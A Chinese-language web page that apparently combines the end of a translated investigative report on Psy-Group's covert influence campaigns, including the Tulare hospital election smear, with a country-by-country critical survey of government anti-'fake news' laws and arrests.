根据2017年5月发给捐助者的消息，Psy-Group 进行了两次“主要行动区之旅”，并会见了该活动的外部“合作伙伴”，但没有透露具体名字。

Psy-Group 员工最近前往华盛顿访问了一名 Foundation for Defense of Democracies (FDD) 基金会的官员，该基金会分享了一些关于 B.D.S 运动的研究。

在 Burstien 参加的后续会议上，Psy-Group 提供了 **F.D.D.** 的一份保密备忘录，其中描述了他们如何汇编九名公民活动家的档案 —— 包括加州大学伯克利分校的讲师。

在备忘录中，Psy-Group 要求基金会提供有关确定未来目标的指导。根据FDD官方的说法，该基金会“最终没有与他们签订合同”。（无法证实）

Burstien 招募了前摩萨德副主管 **Ram Ben-Barak** 帮助完成这个项目。从2014年到2016年，Ben-Barak 制定了一项国家打击BDS的行动计划。

Ben-Barak 对“蝴蝶行动”充满热情，他说打击BDS就像“一场战争”。对于BDS活动家，他说，“你不会杀死他们，但你必须以某种方式处理他们”。

Yaakov Amidror，本杰明·内塔尼亚胡的国家安全顾问，也成为了 Psy-Group 蝴蝶行动的顾问。

Amidror 最近表示，在接受这一职位之前，他与 Psy-Group 的外部法

律顾问 Daniel Reisner 进行了交谈，后者曾为包括内塔尼亚胡在内的五位以色列总理提供过建议。

“Danny，这是合法的吗？”Amidror 回忆道。Reisner 回答说是的。

Amidror 说，虽然理论上以色列的情报人员不应该主动监视美国人，但他觉得以色列前情报人员对美国大学生公民活动家开展的间谍行动“没有任何不妥之处”。

「图」

「图」

2017年4月22日，Benzeevi 抵达特拉维夫。他在市内海滨长廊对面的Dan酒店办理了入住手续。

在他到以色列的第一天，他收到了一个“欢迎回家！”的电子邮件，来自 Scott Mortman，他是前律师，负责管理 Psy-Group 的美国客户。

电子邮件描述了他们当天的日程安排：午餐时，Mortman 将向 Benzeevi 简要介绍 Psy-Group 的产品。然后 Benzeevi 将与Burstien 会面，后者将引导他完成该公司拟议的将 Kumar 留在医院董事会的信息战活动。

Burstien 和 Mortman 是一个训练有素的团队。

Benzeevi 已经收到了 Psy-Group 的战斗计划草案，该草案包含在一封受密码保护且标记为“特权和机密”的电子邮件中。

该提议向 Benzeevi 保证，Psy-Group 的活动将与他及医院“完全脱节”。

为了完成这笔交易，Burstien 打电话给 Ram Ben-Barak，这是他最大的雇佣枪手之一。体格健美魅力十足的 Ben-Barak 看起来就像摩萨德中央精心打造的那种人。

在 Benzeevi 飞回加利福尼亚之前，他获得了一个银行账号，在那里他可以为 Psy-Group 收取 Tulare 选举干预活动的费用 —— 二十三万美元。

5月8日，就在 Senovia 的 Cinco de Mayo 派对之后几天，Benzeevi 的公司发送了三笔付款中的第一笔，这笔款项被送到了苏黎世的一家

银行。

该项目已启动，其代号从 Mockingjay 改为了 Katniss，来自“饥饿游戏”小说主角 Katniss Everdeen。

「图」

「图」

在加州中部的医院董事会选举中采取的行动方案并不完全是 Psy-Group 进军美国大选市场时设想的方案。

2016年初，随着总统竞选的升温，Burstien 和 Zamel 都试图投入更大的努力。

被一个主要的竞选活动雇用最初对于这个不起眼的新公司来说似乎机会不大，其服务听起来有风险，如果不是非法的话。

纽约和华盛顿公司的律师对 Psy-Group 表示好奇，但大多数人对与该公司签订合同过于谨慎。

然而，特朗普的竞选活动提供了机会。

2016年初，一位与以色列政府有联系的共和党顾问让 Psy-Group 与特朗普竞选高级官员 Rick Gates 取得了联系。

Burstien 渴望获得一个潜在的有利可图的项目，制定了一项情报和影响力运动的计划，以促进特朗普的声誉并破坏他的竞争对手，首先是共和党初选，然后是大选。

在去年10月被“时报”首次报道的被称为“罗马计划”的提案中，Psy-Group 为候选人使用了代号：特朗普的代号是狮子，希拉里是森林。

Psy-Group 还聘请华盛顿律师事务所 Covington＆Burling 对其工作进行法律审查。

前 Psy-Group 官员表示，由此产生的备忘录给 Psy-Group 打开了门路，他们可以开始在美国提供该公司的服务。

Zamel 经常独立于 Burstien 运作，目前还不清楚这两个人的联系程度有多紧密，但两人都将特朗普的竞选视为潜在客户。

特朗普对以色列的支持和他对伊朗的强硬观点吸引了 Zamel，他向特朗普的核心圈子伸出了援手。

2016年5月初，Zamel 向 Gingrich 发送了一封电子邮件，称他可以为特朗普的竞选活动提供强大的工具，利用社交媒体提升特朗普的机会。

Zamel 建议在华盛顿召开会议，进一步讨论此事。Gingrich 将电子邮件转发给贾里德库什纳，并询问其对该活动是否有兴趣。

Kushner 与其他人一起检查了该活动，包括负责网络运营的 Brad Parscale。据知情人士透露，Parscale 告诉库什纳，他们不需要 Zamel 的帮助。

同样在那个春天，Zamel 被介绍给了一位黎巴嫩裔美国人 George Nader, ，此人与阿联酋领导人穆罕默德·本·扎耶德和海湾地区其他有影响力的人物有着紧密联系。

Nader 出生于1959年，几乎是 Zamel 年龄的两倍。两人都喜欢在幕后操作，但他们是完美的网络工作者，他们吹捧他们与高层政治人物的联系。

有些人认为 Nader 是（宣传战中的）影响力小贩；其他人则说他几十年来一直密切参与中东的高风险谈判。

在克林顿和奥巴马时期就中东问题担任顾问的 Martin Indyk 现在是外交关系委员会的一位杰出人士，他说："我们曾经开玩笑说，George Nader 至少服务于三方情报机构 —— 叙利亚的、以色列的、和伊朗的"。

2016年6月，当 Zamel 找到他并要求见面时，Nader 正在俄罗斯圣彼得堡参加一个国际经济论坛。

根据 Nader 的一位代表的说法，Zamel 告诉 Nader，他正试图为支持特朗普的社交媒体活动筹集资金；他认为 Nader 的海湾联系人可能有兴趣在经济上做出贡献。

据称 Nader 听取了 Zamel 的话，但没有作出任何承诺。

2016年8月初，当黑水安全公司的创始人 Erik Prince 帮助安排 Zamel、Nader 和特朗普的儿子在特朗普大厦举行会议时，Zamel 再次有机会推销他的服务。

在会议上，Zamel 告诉特朗普的儿子，他支持他父亲的竞选活动，并谈到了 Psy-Group 的影响力行动（宣传战）。

Burstien 说，他与特朗普竞选团队的谈判没有任何进展; Zamel 的代表否认他的客户从事与选举有关的任何活动。

但是，在选举后不久，Zamel 向 Nader 吹嘘他曾经进行了一场秘密战役，这场战役对特朗普的胜利产生了影响。

Zamel 同意向 Nader 简要介绍该行动的运作方式。

在那次谈话中，Zamel 向 Nader 展示了几份分析报告，其中一篇描述了假托、社交媒体机器人、虚假新闻、和未经分析的网站在协助特朗普方面的作用。

Zamel 告诉 Nader，“这是我们为帮助特朗普当选所做的工作”。消息人士说，**Nader** 向 **Zamel** 支付了超过**200**万美元，但从未收到过报告的副本。

「图」

「图」

信息战与战争本身一样古老。孙子兵法宣称“所有的战争都是基于欺骗的” —— 即 战略性欺骗。

在现代，苏联情报和其美国对手都使用虚假信息作为说服工具和武器来破坏另一方的稳定。

早在社交媒体出现之前，莫斯科就捏造了许多诸如艾滋病病毒是由美国政府科学家制造为生物武器的谣言。

CIA 支持 Boris Pasternak 和 Aleksandr Solzhenitsyn 等作者在苏联出版地下书籍，该机构知道这种策略会激怒克里姆林宫的领导层并加深国内持不同政见者的反苏情绪。

1991年，当苏联解体时，美国政府确信它摆脱了冷战期间面临的许多挑战，对信息战的兴趣逐渐消退。军方的特种部队进入了信息战空窗期。

“我们知道我们需要在这个领域开展业务，” 心理战的专业人士 Austin Branch 表示。“这是信息时代。我们没有路线图”。

在九十年代初期，Branch 成为军方首批“信息战”军官之一。

他和其他专家创建了针对中欧和北非读者的实验性宣传网站。这些网站的设计看起来就像是独立的新闻来源；但你必须深入研究才能在其中发现美国军方的角色背景。

“我们并没有隐瞒它背后是谁，但我们也并没有让背景容易被找到，”一位专门从事心理战行动的前军事官员说。

摩萨德的前主管 Pardo 的一些前同事采取了更多的雇佣军的方法。俄罗斯向全世界展示了信息战的成功，他们看到了商机。

2017年初，随着特朗普上任，对 Psy-Group 服务的兴趣似乎有所增加。

为了利用这一新生的兴趣，Burstien 开始在华盛顿进行新的 PowerPoint 演示。

题为 “唐纳德特朗普2016年总统竞选—分析” 的演讲概述了网站、假托、和机器人水军在影响选举结果方面的作用。

在幻灯片中突出显示的一个案例中，亲特朗普的假人群组加入了伯尼桑德斯支持者的 Facebook 页面，在发布假新闻的网站上发布反希拉里克林顿文章的链接 ……为其他真实的参与者创造了一个充满敌意的环境。

该组织的管理人员说：“伯尼的支持者成群结队地离开了我们的页面，他们对这种毒性渗透感到沮丧和厌恶。”

作为演讲的一部分，**Burstien** 指出，俄罗斯特工在美国被曝光了。他告诉客户，以色列的 **Psy-Group** 会“更加小心”。

Psy-Group 在大选后真的进入了美国选举市场，包括于2017年3月1日在白宫附近的 Old Ebbitt Grill 举行的鸡尾酒招待会，“庆祝我们新的 D.C.办公室”。

第二天，Politico 的一篇文章简要地提到了这次聚会，并将 **Psy-Group** 描述为一家"在伦敦、香港和塞浦路斯"都设有办事处的跨国公司。

完全没有提到以色列; Burstien 认为，对于企业来说，淡化以色列的角度会更好。

事实上，这次招待会是 Psy-Group 开展塑造自身形象的公关活动的一部分。整个场面虚张声势。

「图」

「图」

2017年6月，Tulare 发生了奇怪的事。

出现了一系列不祥的网站：Tularespeaks.com，Tulareleaks.com 和 Draintulareswamp.com。

这些网站向访客发送了很多文章，这些文章致力于在医院董事会的斗争中抹黑 Senovia Gutiérrez 及其盟友。

当地报纸 Valley Voice 的记者 Tony Maldonado 看到了这些网站，并想这他妈的是什么玩意？

“我想你可能会在大城市或国家的层面上看到这种阴暗的操作，”Maldonado 说，“但现在这种东西居然出现在小城镇的选举上，简直是疯了”。

这些域名似乎与**2016**年总统竞选活动有关。地址 Tulareleaks.com 类似于 DCleaks.com，据称该网站由俄罗斯情报人员设立的。

除了网站之外，还出现了一大堆自称是当地居民但在城里没有人认识他们的网络人物（假托），开始在社交媒体上发表评论。

采取的招数大致近似，其中一些人声称 Senovia 收受贿赂；其他人指出她的墨西哥背景和她的口音，并质疑她是否是美国公民。

据一位前公司员工说，Psy-Group 还进行了“离线”操作，也就是该公司有时称之为秘密的实地活动。

6月9日傍晚，一位金色短发的女人敲开了 Senovia 家的门，并告诉 Senovia 的小儿子说，她是他母亲竞选活动的支持者。

那个女人递给 Richard 一个信封，里面写着 “给 Sanovia 夫人”，显然这个名字拼错了。Richard 注意到一名男子正站在街对面，在 Yukon Denali S.U.V. 旁边，用长焦镜头拍照。

当天晚些时候，那辆SUV又回到了这条街道，还是那个男人，拍了更

多的照片。

一些照片很快出现在那个假网站 Draintulareswamp.com 上，标题是“Who Is Pulling Senovia’s Strings?” 随附的文章呼吁公众密切关注 Martha Senovia。并称，“上周，除了其他几辆身份不明的汽车外，还看到一辆非常昂贵的黑色轿车停在 Senovia 夫人的家门前。”

该网站使用了 Senovia 的昵称 Martha。这些照片似乎是为了使它看起来好像是 Senovia 收受了贿赂。（信封里有一张30美元的 Tommy Hilfiger 礼券）

晚些时候 Valley Voice 也发表了一篇文章，“//Tulare Politics Get Fishy as Hospital Recall Nears//”。Psy-Group 公司前雇员之一后来表示，那不是“严肃的情报”，而是“见不得人的勾当”。

关于 Draintulareswamp.com 的其他文章质疑 Senovia 是否适合管理财务，并公布了她在2003年申请破产的记录。

“这太可怕了—他们推出了我们无法相信的东西，而且他们的速度如此之快，” Citizens for Hospital Accountability 组织的创始人之一 Deanne Martin-Soares 表示。

“我们无法追查任何事。我们根本不知道它来自哪里。”

在Facebook上，Alex Gutiérrez 回应了这一系列诽谤战术，他写道：“他们制造和推进这种垃圾的运动很大程度上说明了他们的绝望和恐惧！”

6月15日，一些传单被塞在城镇各处的门把手上，传单上的内容是嘲笑 Senovia “毫无经验”，并指示“想要证明”的居民可访问 Tularespeaks.com。

印刷和分发传单的小商人说，这些传单是一个名叫弗朗切斯科·马诺莱蒂（Francesco Manoletti）的陌生人用现金支付的，这显然是个假名字。（在 Psy-Group 的另一项行动中也有一个相似的名字—Francesco Gianelli—被用来雇用承包商）

Parmod Kumar 还聘请了他自己的政治顾问，一位名叫 Michael McKinney 的加利福尼亚退伍军人。当传言开始传播称 Kumar 或 Benzeevi 雇人攻击 Senovia 时，McKinney 试图找到是谁创建了这些网站，但没有成功。

“召回选举是关于选民的愤怒，” McKinney 说。“为了赢你必须让选民愤怒地投票；要停止召回，你必须减少选民的愤怒。”

McKinney 认为，这些攻击与预期效果相反：它们反而激励了 Senovia 的支持者参加投票。

当 McKinney 向 Kumar 询问那些网站时，Kumar 说他不知道它们来自哪里。McKinney 说他还会见 Benzeevi，敦促他说出是谁策划了这场信息战。

此后 Benzeevi 不再回复 McKinney 的电话。“这并没有真正伤害 Senovia”， McKinney 说。“这反而让她看起来像是受到了骚扰。实际上伤害的是 Kumar。它适得其反。”

在选举前夕，Alex 的房子被烧毁了，他几乎失去了一切，包括他最后一批竞选传单。

他怀疑大火可能与选举有关，但当地消防部门官员表示他们没有看到任何违规行为的证据。

「图」

「图」

Burstien 希望 Psy-Group 在 Tulare 的工作能够帮助该公司落实其他小型活动的订单，但事实证明这一点过于乐观了。

他告诉同事他已接近完成几项交易，但发展新客户的目标失败了，而且，在2018年2月，Burstien 发现他已经无法支付工资单。

在 Tulare，对 Psy-Group 战略的考验发生在 2017年7月11日晚上。有超过一千人投票，只有一百九十五人投票支持 Kumar。Senovia Gutiérrez 赢得了75%的选票。

最终，攻击 Senovia 的网站在社区中几乎无人关注。“就像他们组织了一场音乐会，结果没有人出现”，一位计算机安全专家在审查了这些网站的跟踪数据后表示。

在 Senovia 胜利之后，Benzeevi 的合同被取消了。Larry Blitz 作为临时 CEO 介入，他发现该医院的财务记录完全混乱。

该医院的债务超过三千六百万美元，不得不关闭近一年。一天早上，

Blitz 的首席财务官发现警方正在拿走电脑和电话。作为欺诈调查的一部分，当地地方检察官已经发布了四十多份搜查令，这是当地历史上最大规模的此类调查之一。

Benzeevi 和他的法律团队拒绝回答有关 Psy-Group 的问题。起初，Kumar 说，他不知道秘密信息战，然后他就不再回电话了。

根据前公司官员的说法，Zamel 决定在2018年2月关闭 Psy-Group，但它的消亡并没有抑制它提供的许多服务的胃口。

Psy-Group 的一些前员工与臭名昭著的 **Black Cube** 公司会面，讨论就业机会。

Black Cube 广受批评，但这些批评似乎并没有伤害其生意；一位熟悉该公司运营的人说各种公司对他们的兴趣日益浓厚。

1998年至**2002**年间曾担任摩萨德主管的 **Efraim Halevy** 最近加入了 **Black Cube** 的顾问委员会。

摩萨德的退伍军人、内塔尼亚胡的前国家安全顾问 Uzi Arad 说，看到他的一些前同事成为“雇佣兵”，他感到羞耻，并补充道，“这是非常不道德的，他们应该知道。”

去年，Black Cube 搬到了特拉维夫最昂贵的街区之一，现在它在 Bank Discount Tower 占据了一个时尚的全楼层办公室。入口没有标记，漆成黑色；大门由指纹读取器控制。办公室的一个区域装饰着间谍纪念品，包括老式的加密机器。

一些 Psy-Group 的资深人士对该公司的关闭表示遗憾。“如果公司仍然开放，所有这些所谓的负面新闻都会给我们带来很多客户，”一位人士说。

以色列前高级情报官员表示全球对 “私人摩萨德” 的需求正在增长，并且所谓的影响力运营市场正在扩展到新的商业领域 。

特别是，这位前官员引用了使用虚拟人物形象（假人）以影响房地产价格的潜在巨大市场 —— 例如，通过创造投标人为房产提供更多资金的错觉，或者通过传播有关有毒化学品存在的谣言来制造恐慌……

一位前 Psy-Group 官员说。假托（袜子木偶）的可能应用列表是“无穷无尽的” ……○

Private Mossad for Hire

原文

逮捕、追踪和惩罚，全球"反谣言"行动地图 - iYouPort

审查和自我审查-民主的支柱是如何歪掉的长读

“打击谣言” 这个词您一定不陌生，想必每一位读者都知道中国是如何做这件事的。但是中国不是特例。中国几乎没有 “发明” 任何东西，却很擅长模仿 —— 专门模仿最糟糕的专制手段 ..... 本文希望能说明的不只有这点，最重要的是，希望您能通过思考判断出究竟哪种方式才能是捍卫真相的有效措施。（中国一些体制内知识分子对 “谣言” 的支持同样可怕，它走向了另一个极端）

「图」

「图」

2018年3月中旬，一个欧盟委员会高级别小组发布了关于虚假信息的最终报告，借鉴了来自世界各地的专家的意见，他们聚集了数周时间来帮助欧盟弄清楚如何处理虚假信息。

- 不要错过《为什么虚假信息令独裁政权变得更强大，令民主国家变得更脆弱？》

高级别小组于2017年11月发布的这份报告旨在帮助欧盟制定政策以解决对欧洲虚假信息日益增长的担忧 —— 该报告包含了一种解决全球虚假信息的包容性协作方法。

该报告虽然不完善，但明确建议：不要对虚假信息进行监管 —— 欧盟只是过去几个月中试图阻止在线虚假信息流的众多机构之一。

如今全世界都在致力于 “辟谣”，这些努力引发了有关侵犯言论自由保障的严重问题，并且经常成为不确定性的受害者。所谓的假新闻是一个极为模糊的定义，其范围仍不明确。

以下是一份全球报告，关于：每个政府都是如何“反谣言”的，它们各自有什么问题。（列表按照国家名称首写字母顺序）

「图」

「图」

澳大利亚 A U

行动：政府专案组和媒体素养运动

重点：外国虚假宣传活动和媒体素养

2018年6月，政府的四个部门成立了一个专案组，以针对即将举行的澳大利亚大选确定潜在的网络攻击和外国影响力运动。

选举诚信保证工作队由民政事务部领导，是在情报界不断警告“外国对澳大利亚的干涉”的情况下成立的。

2019年2月，ABC 的一项调查显示，澳大利亚选举委员会已通知 Twitter 和 Facebook，他们必须遵守其平台上关于非法广告的通知。AEC 用法院命令威胁社交媒体巨头。

4月，他们还发起了“Stop and Consider”运动，鼓励选民关注有关选举消息的新闻来源。

正如其他报告所揭示的那样，这种遏制的努力并不直接针对虚假信息。准确说是，针对一切政府不喜欢的信息。

巴林 B H

行动：逮捕

重点：媒体管制

2019年5月，一位巴林律师因在社交媒体上发布了被当局认为“可能危害公共秩序的虚假新闻”而被捕。

美联社报道说，检察官引用了该律师 **过去的** 推文，这些推文质疑政府保护公众的能力，这是他被捕的主要原因。

追踪过去的而不仅仅是当前的发布内容，也是中国当局经常使用的方

法。也是为什么很多中国互联网用户倾向于彻底删除历史推文。

- 方法《清洁工具：自动删除您的旧推文，但您要保留的推文除外》

自由之家将巴林的媒体评为“不自由”。

孟加拉 B D

行动：立法管制和逮捕

重点：政治宣传和媒体管制

2018年10月，孟加拉政府通过了一项法案，任何人如果散布有关1971年独立战争的“宣传”将被监禁。它还禁止发布所谓的“令人反感和令人恐惧”的内容。

请注意措辞：“反感和恐惧”都是主观判断、是最有伸缩性的措辞，这样的词汇出现在法律条款中时您应该特别警惕，因为它给了执法者以非常广泛的裁定权力。对任何国家来说都是如此。

经济学人报道说，记者对此表示关注。 8月，一名摄影师发言以支持学生抗议活动，之后他因“传播虚假信息”而被捕。自由之家称，这位摄影师因被指散布针对政府的虚假消息而面临长达七年的监禁，该法律在过去一年中已被用来拘留了数十名社交媒体用户。

1月，达卡论坛报报道说，过去两个月有22人因所谓的网络犯罪指控而被捕。其中有几人被指称涉嫌在社交媒体上散布“反国家谣言和篡改政府领导人的照片”而入狱。

正如路透社在12月报道的那样，众所周知，孟加拉国政府本身就会在网上散布虚假信息。在选举前，Facebook 和 Twitter 删除了与该国有关的虚假帐户和页面。

白俄罗斯 B Y

行动：立法管制

重点：虚假信息

2018年6月14日，立法者通过了对白俄罗斯媒体管制法律的有争议的

修正案，该修正案允许政府起诉在线散布虚假信息的人。

一位立法者表示，该法律还旨在发现违法行为的情况下直接封锁社交媒体和其他网站，其目的是在 “增强公民权利的同时还加强国家信息安全” —— 这是诡辩，所谓的的国家**安全不过是政府权力稳固的代名词。

6月8日，保护记者委员会对这项立法提出了反对，称该立法除了旨在加强白俄罗斯媒体管制法规的单独立法之外，还可能导致对记者的更多选择性起诉。根据自由之家，该国已经没有新闻自由。

比利时 B E

行动：专家组和媒体素养运动

重点：虚假信息

2018年5月上旬，比利时数字议程部长 Alexander De Croo 宣布了两项旨在遏制在线虚假信息传播的举措。

首先，政府建立了一个由新闻记者和学者组成的专家小组，以在2018年6月25日之前提出可能的解决方案。其次，它启动了一个网站，向人们宣传虚假信息问题，并实施了 Reddit 风格，让用户可以对政府提出的解决方案表示支持和反对。

5月17日，布鲁塞尔也进行了公开辩论。

贝宁 B J

行动：抓捕

重点：媒体监管

2019年4月，贝宁的一名记者因涉嫌在社交媒体上传播有关贝宁经济的所谓虚假信息而被捕。

保护记者委员会报道说，Nouvelle Economie 的编辑 Casimir Kpedjo 在技术上并未受到指控，但仍必须出庭。指控来自 Kpedjo 撰写的两篇有关经济的文章。

CPJ报道，如果罪名成立，他将面临最高六个月的监禁或最高1692美

元的罚款。自由之家将贝宁的媒体评为“部分自由”。

显然，当权者不喜欢的判断均被视为“谣言”。

巴西 B R

行动：政府工作队，20项法案草案，平台协议和政府事实核查

重点：选举方面的错误信息

联邦警察在2018年1月9日以推文形式宣布成立专案组以“识别和惩罚假新闻作者”。

此举主要针对与十月总统大选有关的虚假新闻报道，并与法国总统伊曼纽尔·马克龙（Emmanuel Macron）减少选举谣言的努力相呼应。

截至2018年5月11日，Agência Pública 还已在巴西国会收集了20项法案草案，旨在将选举前在线散布虚假信息定为犯罪。

处罚的范围从罚款1500巴西雷亚尔（400美元）到最高判处八年有期徒刑，从在社交媒体上转发虚假新闻报道到发布不准确的新闻报道，都包括其中。

尽管引起了广泛关注，但尚不清楚立法的实际情况。

同时，巴西政府还与 Facebook 和 Google 达成了一项协议，保证平台“与第三方产生的虚假信息作斗争”。不过，这份长达两页的文件并未包含两家公司专门在巴西启动的任何新计划。最高法院大法官 Luiz Fux 当月初与巴西政党签署了类似协议。

10月，高级选举法院（TSE）启动了自己的“多媒体事实检查页面”，其中列出了在2018年大选之前发布的信息的事实检查或“澄清（辟谣）”。

中国也有这种官方辟谣平台，问题是，您应该信它吗？

布基纳法索 B F

行动：立法管制

重点：虚假信息

2019年6月，布基纳法索议会通过了一项法律，旨在惩罚“发布危害安全行动的所谓虚假信息、有关滥用权利或破坏财产的虚假信息、或来自“恐怖袭击”的图像和音频。

违者可能面临最高7000英镑的罚款或长达10年的监禁，但法律仍在等待总统批准。

人权组织和媒体监督机构批评该法律，称这是对新闻工作者的工作进行的审查以阻止报道国家敏感问题的尝试。

柬埔寨 K H

行动：立法管制和国家广播

重点：虚假信息

柬埔寨在该国2018年7月下旬选举前的几周内扩大了对虚假信息的打击力度。

五月，政府通过了一项措施，赋予其权力封锁它认为“威胁国家安全”的任何媒体。法律的新扩展意味着人们可能因发布虚假新闻而被判入狱两年，并罚款1000美元。

据卫报报道，已经指派了三个部委来监视社交媒体帖子。

目前尚不清楚政府如何定义假新闻。 Deutsche Welle 报告说，执政党的一位发言人表示，该法律将“适用于某些使用错误信息的媒体”。

近年来，洪森已经开始使用“假新闻”一词来抹黑异议或反对派。据路透社报道，2019年6月，一名翻译因在制作有关性交易的纪录片中的作用而被判处两年徒刑，政府称其中包含“假新闻”。

- 《信息末日启示录究竟有几个骑士？打击“假新闻”也成为变相审查的幌子》
- 《社交媒体发帖被判刑十年：以“假新闻”为借口的扼杀异议行为触目惊心》
- 《言论审查“六骑士”之一：假新闻，正在侵蚀东南亚国家民主的灵魂》

其他政府和组织谴责了这一判决，人权观察组织的一位代表表示，此举旨在掩盖该国面临的贫困和性工作问题。

喀麦隆 CM

行动：逮捕

重点：媒体监管

在全球范围内针对所谓假新闻的镇压中，喀麦隆已成为拘谨新闻工作者最多的主要国家之一。

根据CPJ对被监禁新闻工作者的年度普查，该国在2018年因所谓的假新闻而被关押的新闻工作者有四人，仅次于埃及，位居世界第二。

华盛顿邮报12月报道说，记录分裂主义者与政府之间的暴力事件的记者是主要被针对目标。Poynter介绍了一些被监禁的记者。

根据喀麦隆法律，“任何无法证明其真实性或没有充分理由相信其真实性”的报道都是非法的。

2018年10月，喀麦隆政府会见了两名 Facebook 官员，举行了两个小时的会议，讨论了该社交媒体平台上的错误信息和网络犯罪行为。

加拿大 CA

行动：媒体素养运动，政府专案组

重点：媒体素养，外国虚假宣传运动

2019年1月，加拿大政府宣布了多管齐下的努力，以在秋季大选前打击所谓的虚假信息。

首先，CTV报道说，政府制定了“关键选举事件公共协议”，该协议将监视并通知其他机构和公众有关虚假信息的企图。该工作队将由五名非政治官员领导，是外交部的“快速反应机制”的补充。

其次，政府呼吁社交媒体平台在大选前做更多的努力来打击虚假信息。此举与 C-76 法案同时进行，该法案旨在迫使科技公司对其反虚假信息和政治广告的政策更加透明。

第三，加拿大宣布将向旨在提高公众在线识别虚假信息意识的项目提供700万加元。

随后在5月，加拿大宣布启动其数字宪章，其中规定：“加拿大政府将

捍卫言论自由，并保护其免受旨在破坏选举和民主机构廉正的在线威胁和虚假信息的侵害。” 十六个政府实体和八个其他实体签署。

特鲁多（Justin Trudeau）表示，此举旨在针对假新闻和仇恨言论，并要求社交媒体平台对他们在允许虚假信息传播方面的作用负责。

- 《应该用言论自由去抵制仇恨而不是审查—— 反仇恨言论法》
- 《封锁言论就能制止仇恨吗？不》

Trudeau 还暗示对不遵守章程的高科技公司将施加 “有意义的惩罚”，但是该章程未概述罚款的工作方式，也未说明 “假新闻” 究竟该如何定义。

智利 🇨🇱

行动：立法管制

重点：虚假信息

2019年2月，智利参议院提出了一项法案，将惩罚全国范围内 “散布、宣传或资助虚假新闻” 的人。该法案的具体内容尚不清楚，尚待分析。

中国 🇨🇳

行动：立法管制和在线举报门户

重点：虚假信息

关于打击虚假信息，中国拥有世界上最严格的法律。

外交政策报道，2016年，该国政府已经将制造或散布 “破坏经济社会秩序” 的谣言定为犯罪。

2017年的另一部法律要求社交媒体平台仅发布已注册新闻媒体的文章。去年当局又进了一步，开始要求微博网站主动驳斥其平台上的谣言。

2018年8月下旬，中国当局启动了一个应用程序，让人们举报潜在的谣言。

路透社报道说，该应用程序还利用人工智能来自动检测谣言，并在微

博和微信等平台上拥有账户，这些平台上主要播放国有媒体的报道。

别忘了，算法是他们写的。他们始终在全权定义什么是 “谣言”。

科特迪瓦 C I

行动：逮捕

重点：媒体监管

科特迪瓦部长 Alain Lobognan 因 “虚假新闻” 指控而被监禁，他发布了关于一名州检察官如何逮捕另一名国会议员的推文。

逮捕是根据该国的反虚假新闻法进行的，该法律曾"被用来"关押记者。

但是 Lobognan 说，他因政治原因被捕 —— 不是传播虚假信息。自由之家在年度普查中将科特迪瓦媒体归类为 “部分自由”。

科特迪瓦只是撒哈拉以南非洲地区最新的一个以虚假新闻罪名将公民囚禁的国家，尽管也是少数囚禁政客的国家。

克罗地亚 H R

行动：立法管制

重点：所谓的仇恨言论

效仿德国的类似努力，克罗地亚政府于2018年1月宣布，正在制定一项法律，以制止仇恨言论和虚假信息在社交媒体平台上的传播。

该法案主要针对 Facebook（可能因为用户最多），目的是对公民进行教育，而不是制裁错误信息的传播。

尽管事实检查人员不太确定具体细节，但专家说，仇恨言论对欧洲立法者而言似乎是更自然的法规领域。

该法案草案是中央国家数字社会办公室工作组的产物，该工作组得出的结论是，仇恨言论、煽动暴力行为和虚假新闻的传播都应通过一项法律解决（刑法仅涵盖前两个）。该立法于2018年6月发布。

正如其他人所报告的那样，该法律并没有打击错误信息的有效机制。

刚果民主共和国 C D

行动：政府 WhatsApp 帐户

重点：虚假信息

在刚果持续爆发的埃博拉疫情期间，政府创建了 WhatsApp 提示线，以提供有关该疾病的辟谣 —— 就如中国的政府微信公众号那样。

《科学》杂志在一月份报道说，该政府已经招募很多年轻人来举报该应用程序中可能存在的虚假信息 —— 群众斗群众，是由于该应用程序经过加密，因此无法直接监控共享内容。

然后，“通信专家通过 WhatsApp 或本地广播进行辟谣。”

丹麦 D K

行动：专案组、媒体素养运动和政府行动计划* 重点：虚假信息和媒体素养

丹麦政府在打击错误信息方面模仿了瑞典的经验，丹麦政府已经成立了一个工作组来专门处理错误信息。

该小组成立于2017年9月，负责对广泛的错误信息活动和外国虚假信息攻击做出反应。据 TjekDet.dk 报道，外交部内还成立了一个工作组，专门在线寻找新的虚假信息。

丹麦当局通过重新利用瑞典的一些媒体素养材料，为解决错误信息问题提供了支持。政府正在分发宣传册，其中包含有关如何避免因误传而受骗的提示。

最后，丹麦政府提出了一项计划，以避免外国干预2019年5月的议会选举。行动项目包括加强警察情报局和国防情报局的权力，以及与媒体公司和政党进行更密切的对话。

但是，这并没有能直接解决虚假信息问题。

埃及 E G

行动：立法管制和逮捕

重点：媒体监管

埃及政府现在"重点监管"粉丝量高的社交媒体帐户，据称是试图减少错误信息。

中国也这样做 —— 多年前中文推特用户中就流传一个传闻，似乎指关注者一万及以上的用户将被当局 “重点关注”。但近期一些案例显示，关注者数量并不高的用户也在被监视和传唤的范围内。总之，做好匿名防御任何时候都是必要的。

- 《在Twitter上提高隐私和安全性的7个技巧》
- 活动家和异议人士应该做到的 《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》
- 更详细自我保护方法见 列表-5 直接行动 中的 “护盾” 栏目

根据于2018年7月中旬通过的法律，任何在 Facebook 和 Twitter 等网站上拥有5000个关注者的帐户或以上的账户都将被视为 ‘媒体渠道“，根据该国现行法律，这样的账户可因发布 “虚假信息” 而受到起诉。

除了惩罚那些发布虚假信息的人之外，法律还要求网站从最高委员会获得许可，否则将面临暂停、罚款或被完全封锁的处罚。

据路透社报道，这项法律没有定义是什么假新闻。

虽然总统 Abdel Fattah al-Sisi 的支持者说，新法律 “保障言论自由”，但是，批评者指出：埃及有意以 “假新闻” 罪对记者进行监禁，以此表明这只是一种媒体审查手段。自由之家说，该国没有新闻自由。

9月，政府开始以“假新闻”指控逮捕人们。BBC报道，一名人权活动家发布了一段视频，就该国的性骚扰程度批评政府，因此被判处其两年徒刑。

10月份，一位作者因写书挑战埃及的经济政策而被捕，罪名类似。甚至被判入狱的前总统 Mohamed Morsi 的儿子也被根据虚假新闻法拘留。

去年12月，CPJ在被监禁的记者的年度普查中发现，埃及以 “假新闻” 罪名拘捕了19名记者，在全球处于领先地位。

CPJ称这些逮捕是 “新的镇压浪潮”，那里的记者告诉 Poynter，他们

因害怕被捕而害怕继续自己的工作。

2019年3月，美联社报道埃及政府已经加强了对媒体的监管。

